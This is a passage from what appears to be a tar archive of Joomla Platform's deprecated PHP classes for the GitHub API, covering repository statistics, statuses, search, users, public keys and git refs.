}
github/package/repositories/statistics.php000064400000011526151171674100015063
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API class for the Joomla Platform.
*
* The Repository Statistics API allows you to fetch the data that GitHub
uses for
* visualizing different types of repository activity.
*
* @documentation https://developer.github.com/v3/repos/statistics
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesStatistics extends JGithubPackage
{
/**
* Get contributors list with additions, deletions, and commit counts.
*
* Response include:
* total - The Total number of commits authored by the contributor.
*
* Weekly Hash
*
* w - Start of the week
* a - Number of additions
* d - Number of deletions
* c - Number of commits
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getListContributors($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/contributors';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the last year of commit activity data.
*
* Returns the last year of commit activity grouped by week.
* The days array is a group of commits per day, starting on Sunday.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getActivityData($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/commit_activity';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the number of additions and deletions per week.
*
* Response returns a weekly aggregate of the number of additions and
deletions pushed to a repository.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getCodeFrequency($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/code_frequency';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the weekly commit count for the repo owner and everyone else.
*
* Returns the total commit counts for the "owner" and total
commit counts in "all". "all" is everyone combined,
* including the owner in the last 52 weeks.
* If you’d like to get the commit counts for non-owners, you can
subtract all from owner.
*
* The array order is oldest week (index 0) to most recent week.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getParticipation($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/participation';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the number of commits per hour in each day.
*
* Response
* Each array contains the day number, hour number, and number of commits:
*
* 0-6: Sunday - Saturday
* 0-23: Hour of day
* Number of commits
*
* For example, [2, 14, 25] indicates that there were 25 total commits,
during the 2:00pm hour on Tuesdays.
* All times are based on the time zone of individual commits.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getPunchCard($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/punch_card';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Process the response and decode it.
*
* @param JHttpResponse $response The response.
* @param integer $expectedCode The expected "good"
code.
* @param boolean $decode If the should be response be
JSON decoded.
*
* @return mixed
*
* @since 1.0
* @throws \DomainException
*/
protected function processResponse(JHttpResponse $response, $expectedCode
= 200, $decode = true)
{
if (202 == $response->code)
{
throw new \DomainException(
'GitHub is building the statistics data. Please try again in a few
moments.',
$response->code
);
}
return parent::processResponse($response, $expectedCode, $decode);
}
}
github/package/repositories/statuses.php000064400000005616151171674100014547
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/statuses
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesStatuses extends JGithubPackage
{
/**
* Method to create a status.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value for which to set the
status.
* @param string $state The state (pending, success, error or
failure).
* @param string $targetUrl Optional target URL.
* @param string $description Optional description for the status.
*
* @throws InvalidArgumentException
* @throws DomainException
*
* @since 3.1.4
*
* @return object
*/
public function create($user, $repo, $sha, $state, $targetUrl = null,
$description = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
if (!in_array($state, array('pending', 'success',
'error', 'failure')))
{
throw new InvalidArgumentException('State must be one of pending,
success, error or failure.');
}
// Build the request data.
$data = array(
'state' => $state,
);
if (!is_null($targetUrl))
{
$data['target_url'] = $targetUrl;
}
if (!is_null($description))
{
$data['description'] = $description;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path),
json_encode($data));
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list statuses for an SHA.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha SHA1 for which to get the statuses.
*
* @return array
*
* @since 3.1.4
*/
public function getList($user, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/package/repositories.php000064400000032373151171674100012674
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @documentation https://developer.github.com/v3/repos
*
* @property-read JGithubPackageRepositoriesCollaborators $collaborators
GitHub API object for collaborators.
* @property-read JGithubPackageRepositoriesComments $comments
GitHub API object for comments.
* @property-read JGithubPackageRepositoriesCommits $commits
GitHub API object for commits.
* @property-read JGithubPackageRepositoriesContents $contents
GitHub API object for contents.
* @property-read JGithubPackageRepositoriesDownloads $downloads
GitHub API object for downloads.
* @property-read JGithubPackageRepositoriesForks $forks
GitHub API object for forks.
* @property-read JGithubPackageRepositoriesHooks $hooks
GitHub API object for hooks.
* @property-read JGithubPackageRepositoriesKeys $keys
GitHub API object for keys.
* @property-read JGithubPackageRepositoriesMerging $merging
GitHub API object for merging.
* @property-read JGithubPackageRepositoriesStatuses $statuses
GitHub API object for statuses.
*/
class JGithubPackageRepositories extends JGithubPackage
{
protected $name = 'Repositories';
protected $packages = array('collaborators',
'comments', 'commits', 'contents',
'downloads', 'forks', 'hooks',
'keys', 'merging', 'statuses');
/**
* List your repositories.
*
* List repositories for the authenticated user.
*
* @param string $type Sort type. all, owner, public, private,
member. Default: all.
* @param string $sort Sort field. created, updated, pushed,
full_name, default: full_name.
* @param string $direction Sort direction. asc or desc, default: when
using full_name: asc, otherwise desc.
*
* @throws RuntimeException
*
* @return object
*/
public function getListOwn($type = 'all', $sort =
'full_name', $direction = '')
{
if (false == in_array($type, array('all', 'owner',
'public', 'private', 'member')))
{
throw new RuntimeException('Invalid type');
}
if (false == in_array($sort, array('created',
'updated', 'pushed', 'full_name')))
{
throw new RuntimeException('Invalid sort field');
}
// Sort direction default: when using full_name: asc, otherwise desc.
$direction = ($direction) ? : (('full_name' == $sort) ?
'asc' : 'desc');
if (false == in_array($direction, array('asc',
'desc')))
{
throw new RuntimeException('Invalid sort order');
}
// Build the request path.
$path = '/user/repos'
. '?type=' . $type
. '&sort=' . $sort
. '&direction=' . $direction;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List user repositories.
*
* List public repositories for the specified user.
*
* @param string $user The user name.
* @param string $type Sort type. all, owner, member. Default:
all.
* @param string $sort Sort field. created, updated, pushed,
full_name, default: full_name.
* @param string $direction Sort direction. asc or desc, default: when
using full_name: asc, otherwise desc.
*
* @throws RuntimeException
*
* @return object
*/
public function getListUser($user, $type = 'all', $sort =
'full_name', $direction = '')
{
if (false == in_array($type, array('all', 'owner',
'member')))
{
throw new RuntimeException('Invalid type');
}
if (false == in_array($sort, array('created',
'updated', 'pushed', 'full_name')))
{
throw new RuntimeException('Invalid sort field');
}
// Sort direction default: when using full_name: asc, otherwise desc.
$direction = ($direction) ? : (('full_name' == $sort) ?
'asc' : 'desc');
if (false == in_array($direction, array('asc',
'desc')))
{
throw new RuntimeException('Invalid sort order');
}
// Build the request path.
$path = '/users/' . $user . '/repos'
. '?type=' . $type
. '&sort=' . $sort
. '&direction=' . $direction;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List organization repositories.
*
* List repositories for the specified org.
*
* @param string $org The name of the organization.
* @param string $type Sort type. all, public, private, forks,
sources, member. Default: all.
*
* @throws RuntimeException
*
* @return object
*/
public function getListOrg($org, $type = 'all')
{
if (false == in_array($type, array('all', 'public',
'private', 'forks', 'sources',
'member')))
{
throw new RuntimeException('Invalid type');
}
// Build the request path.
$path = '/orgs/' . $org . '/repos'
. '?type=' . $type;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List all repositories.
*
* This provides a dump of every repository, in the order that they were
created.
*
* @param integer $id The integer ID of the last Repository that
you’ve seen.
*
* @throws RuntimeException
*
* @return object
*/
public function getList($id = 0)
{
// Build the request path.
$path = '/repositories';
$path .= ($id) ? '?since=' . (int) $id : '';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a new repository for the authenticated user or an organization.
* OAuth users must supply repo scope.
*
* @param string $name The repository name.
* @param string $org The organization name (if
needed).
* @param string $description The repository description.
* @param string $homepage The repository homepage.
* @param boolean $private Set true to create a private
repository, false to create a public one.
* Creating private repositories
requires a paid GitHub account.
* @param boolean $hasIssues Set true to enable issues for
this repository, false to disable them.
* @param boolean $hasWiki Set true to enable the wiki for
this repository, false to disable it.
* @param boolean $hasDownloads Set true to enable downloads for
this repository, false to disable them.
* @param integer $teamId The id of the team that will be
granted access to this repository.
* This is only valid when creating
a repo in an organization.
* @param boolean $autoInit true to create an initial commit
with empty README.
* @param string $gitignoreTemplate Desired language or platform
.gitignore template to apply.
* Use the name of the template
without the extension. For example,
* “Haskell” Ignored if
auto_init parameter is not provided.
*
* @return object
*/
public function create($name, $org = '', $description =
'', $homepage = '', $private = false, $hasIssues =
false,
$hasWiki = false, $hasDownloads = false, $teamId = 0, $autoInit = false,
$gitignoreTemplate = '')
{
$path = ($org)
// Create a repository for an organization
? '/orgs/' . $org . '/repos'
// Create a repository for a user
: '/user/repos';
$data = array(
'name' => $name,
'description' => $description,
'homepage' => $homepage,
'private' => $private,
'has_issues' => $hasIssues,
'has_wiki' => $hasWiki,
'has_downloads' => $hasDownloads,
'team_id' => $teamId,
'auto_init' => $autoInit,
'gitignore_template' => $gitignoreTemplate,
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
/**
* Get a repository.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function get($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Edit a repository.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $name The repository name.
* @param string $description The repository description.
* @param string $homepage The repository homepage.
* @param boolean $private Set true to create a private
repository, false to create a public one.
* Creating private repositories
requires a paid GitHub account.
* @param boolean $hasIssues Set true to enable issues for this
repository, false to disable them.
* @param boolean $hasWiki Set true to enable the wiki for this
repository, false to disable it.
* @param boolean $hasDownloads Set true to enable downloads for this
repository, false to disable them.
* @param string $defaultBranch Update the default branch for this
repository
*
* @return object
*/
public function edit($owner, $repo, $name, $description = '',
$homepage = '', $private = false, $hasIssues = false,
$hasWiki = false, $hasDownloads = false, $defaultBranch = '')
{
$path = '/repos/' . $owner . '/' . $repo;
$data = array(
'name' => $name,
'description' => $description,
'homepage' => $homepage,
'private' => $private,
'has_issues' => $hasIssues,
'has_wiki' => $hasWiki,
'has_downloads' => $hasDownloads,
'default_branch' => $defaultBranch,
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* List contributors.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $anon Set to 1 or true to include anonymous
contributors in results.
*
* @return object
*/
public function getListContributors($owner, $repo, $anon = false)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/contributors';
$path .= ($anon) ? '?anon=true' : '';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List languages.
*
* List languages for the specified repository. The value on the right of
a language is the number of bytes of code
* written in that language.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListLanguages($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/languages';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List Teams
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListTeams($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/teams';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List Tags.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListTags($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/tags';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List Branches.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListBranches($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/branches';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a Branch.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $branch Branch name.
*
* @return object
*/
public function getBranch($owner, $repo, $branch)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/branches/' . $branch;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Delete a Repository.
*
* Deleting a repository requires admin access. If OAuth is used, the
delete_repo scope is required.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function delete($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path))
);
}
}
github/package/search.php000064400000006520151171674110011406
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Search class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/search
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageSearch extends JGithubPackage
{
/**
* Search issues.
*
* @param string $owner The name of the owner of the repository.
* @param string $repo The name of the repository.
* @param string $state The state - open or closed.
* @param string $keyword The search term.
*
* @throws UnexpectedValueException
*
* @since 3.3 (CMS)
*
* @return object
*/
public function issues($owner, $repo, $state, $keyword)
{
if (false == in_array($state, array('open',
'close')))
{
throw new UnexpectedValueException('State must be either
"open" or "closed"');
}
// Build the request path.
$path = '/legacy/issues/search/' . $owner . '/' .
$repo . '/' . $state . '/' . $keyword;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Search repositories.
*
* Find repositories by keyword. Note, this legacy method does not follow
* the v3 pagination pattern.
* This method returns up to 100 results per page and pages can be fetched
* using the start_page parameter.
*
* @param string $keyword The search term.
* @param string $language Filter results by language
https://github.com/languages
* @param integer $startPage Page number to fetch
*
* @since 3.3 (CMS)
*
* @return object
*/
public function repositories($keyword, $language = '',
$startPage = 0)
{
// Build the request path.
$path = '/legacy/repos/search/' . $keyword . '?';
$path .= ($language) ? '&language=' . $language :
'';
$path .= ($startPage) ? '&start_page=' . $startPage :
'';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Search users.
*
* Find users by keyword.
*
* @param string $keyword The search term.
* @param integer $startPage Page number to fetch
*
* @since 3.3 (CMS)
*
* @return object
*/
public function users($keyword, $startPage = 0)
{
// Build the request path.
$path = '/legacy/user/search/' . $keyword . '?';
$path .= ($startPage) ? '&start_page=' . $startPage :
'';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Email search.
*
* This API call is added for compatibility reasons only. There’s no
guarantee
* that full email searches will always be available. The @ character in
the
* address must be left unencoded. Searches only against public email
addresses
* (as configured on the user’s GitHub profile).
*
* @param string $email The email address(es).
*
* @since 3.3 (CMS)
*
* @return object
*/
public function email($email)
{
// Build the request path.
$path = '/legacy/user/email/' . $email;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
github/package/users/emails.php000064400000004057151171674110012557
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* Management of email addresses via the API requires that you are
authenticated
* through basic auth or OAuth with the user scope.
*
* @documentation https://developer.github.com/v3/users/emails
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsersEmails extends JGithubPackage
{
/**
* List email addresses for a user.
*
* Future response:
* In the final version of the API, this method will return an array of
hashes
* with extended information for each email address indicating if the
address
* has been verified and if it’s the user’s primary email address for
GitHub.
*
* Until API v3 is finalized, use the application/vnd.github.v3 media type
* to get this response format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/user/emails';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Add email address(es).
*
* @param string|array $email The email address(es).
*
* @since 3.3 (CMS)
*
* @return object
*/
public function add($email)
{
// Build the request path.
$path = '/user/emails';
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($email)),
201
);
}
/**
* Delete email address(es).
*
* @param string|array $email The email address(es).
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($email)
{
// Build the request path.
$path = '/user/emails';
$this->client->setOption('body', json_encode($email));
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/users/followers.php000064400000005766151171674110013331
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/users/followers
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsersFollowers extends JGithubPackage
{
/**
* List followers of a user.
*
* @param string $user The name of the user. If not set the current
authenticated user will be used.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/followers'
: '/user/followers';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List users followed by another user.
*
* @param string $user The name of the user. If not set the current
authenticated user will be used.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListFollowedBy($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/following'
: '/user/following';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check if you are following a user.
*
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean
*/
public function check($user)
{
// Build the request path.
$path = '/user/following/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204' :
// You are following this user
return true;
break;
case '404' :
// You are not following this user
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Follow a user.
*
* Following a user requires the user to be logged in and authenticated
with
* basic auth or OAuth with the user:follow scope.
*
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function follow($user)
{
// Build the request path.
$path = '/user/following/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Unfollow a user.
*
* Unfollowing a user requires the user to be logged in and authenticated
with
* basic auth or OAuth with the user:follow scope.
*
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function unfollow($user)
{
// Build the request path.
$path = '/user/following/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/users/keys.php000064400000005722151171674110012260
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/users/keys
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsersKeys extends JGithubPackage
{
/**
* List public keys for a user.
*
* Lists the verified public keys for a user. This is accessible by
anyone.
*
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListUser($user)
{
// Build the request path.
$path = '/users/' . $user . '/keys';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List your public keys.
*
* Lists the current user’s keys.
* Management of public keys via the API requires that you are
authenticated
* through basic auth, or OAuth with the ‘user’ scope.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/users/keys';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a single public key.
*
* @param integer $id The id of the key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($id)
{
// Build the request path.
$path = '/users/keys/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a public key
*
* @param string $title The title of the key.
* @param string $key The key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($title, $key)
{
// Build the request path.
$path = '/users/keys';
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
/**
* Update a public key.
*
* @param integer $id The id of the key.
* @param string $title The title of the key.
* @param string $key The key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function edit($id, $title, $key)
{
// Build the request path.
$path = '/users/keys/' . $id;
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* Delete a public key.
*
* @param integer $id The id of the key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($id)
{
// Build the request path.
$path = '/users/keys/' . (int) $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/users.php000064400000010016151171674110011275
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/users
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsers extends JGithubPackage
{
protected $name = 'Users';
protected $packages = array('emails', 'followers',
'keys');
/**
* Get a single user.
*
* @param string $user The users login name.
*
* @throws DomainException
*
* @return object
*/
public function get($user)
{
// Build the request path.
$path = '/users/' . $user;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get the current authenticated user.
*
* @throws DomainException
*
* @return mixed
*/
public function getAuthenticatedUser()
{
// Build the request path.
$path = '/user';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Update a user.
*
* @param string $name The full name
* @param string $email The email
* @param string $blog The blog
* @param string $company The company
* @param string $location The location
* @param string $hireable If he is unemployed :P
* @param string $bio The biometrical DNA fingerprint (or
something...)
*
* @throws DomainException
*
* @return mixed
*/
public function edit($name = '', $email = '', $blog =
'', $company = '', $location = '', $hireable
= '', $bio = '')
{
$data = array(
'name' => $name,
'email' => $email,
'blog' => $blog,
'company' => $company,
'location' => $location,
'hireable' => $hireable,
'bio' => $bio,
);
// Build the request path.
$path = '/user';
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* Get all users.
*
* This provides a dump of every user, in the order that they signed up
for GitHub.
*
* @param integer $since The integer ID of the last User that you’ve
seen.
*
* @throws DomainException
* @return mixed
*/
public function getList($since = 0)
{
// Build the request path.
$path = '/users';
$path .= ($since) ? '?since=' . $since : '';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/*
* Legacy methods
*/
/**
* Get a single user.
*
* @param string $user The users login name.
*
* @deprecated use users->get()
*
* @throws DomainException
*
* @return mixed
*/
public function getUser($user)
{
return $this->get($user);
}
/**
* Update a user.
*
* @param string $name The full name
* @param string $email The email
* @param string $blog The blog
* @param string $company The company
* @param string $location The location
* @param string $hireable If he is unemployed :P
* @param string $bio The biometrical DNA fingerprint (or
something...)
*
* @deprecated use users->edit()
*
* @throws DomainException
*
* @return mixed
*/
public function updateUser($name = '', $email = '',
$blog = '', $company = '', $location = '',
$hireable = '', $bio = '')
{
return $this->edit($name = '', $email = '', $blog
= '', $company = '', $location = '',
$hireable = '', $bio = '');
}
/**
* Get all users.
*
* This provides a dump of every user, in the order that they signed up
for GitHub.
*
* @param integer $since The integer ID of the last User that you’ve
seen.
*
* @deprecated use users->getList()
*
* @throws DomainException
* @return mixed
*/
public function getUsers($since = 0)
{
return $this->getList($since);
}
}
github/package.php000064400000002374151171674110010144 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API package class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
abstract class JGithubPackage extends JGithubObject
{
/**
* @var string
* @since 3.3 (CMS)
*/
protected $name = '';
/**
* @var array
* @since 3.3 (CMS)
*/
protected $packages = array();
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JGithubPackage GitHub API package object.
*
* @since 3.3 (CMS)
* @throws RuntimeException
*/
public function __get($name)
{
if (false == in_array($name, $this->packages))
{
throw new RuntimeException(sprintf('%1$s - Unknown package
%2$s', __METHOD__, $name));
}
if (false == isset($this->$name))
{
$className = 'JGithubPackage' . ucfirst($this->name) .
ucfirst($name);
$this->$name = new $className($this->options, $this->client);
}
return $this->$name;
}
}
github/refs.php000064400000011064151171674110007504 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubRefs extends JGithubObject
{
/**
* Method to create an issue.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The name of the fully qualified reference.
* @param string $sha The SHA1 value to set this reference to.
*
* @deprecated use data->refs->create()
*
* @return object
*
* @since 1.7.3
*/
public function create($user, $repo, $ref, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs';
// Build the request data.
$data = json_encode(
array(
'ref' => $ref,
'sha' => $sha,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a reference.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to update.
* @param string $sha The SHA1 value to set the reference to.
* @param string $force Whether the update should be forced. Default
to false.
*
* @deprecated use data->refs->edit()
*
* @return object
*
* @since 1.7.3
*/
public function edit($user, $repo, $ref, $sha, $force = false)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Create the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if ($force)
{
$data->force = true;
}
$data->sha = $sha;
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
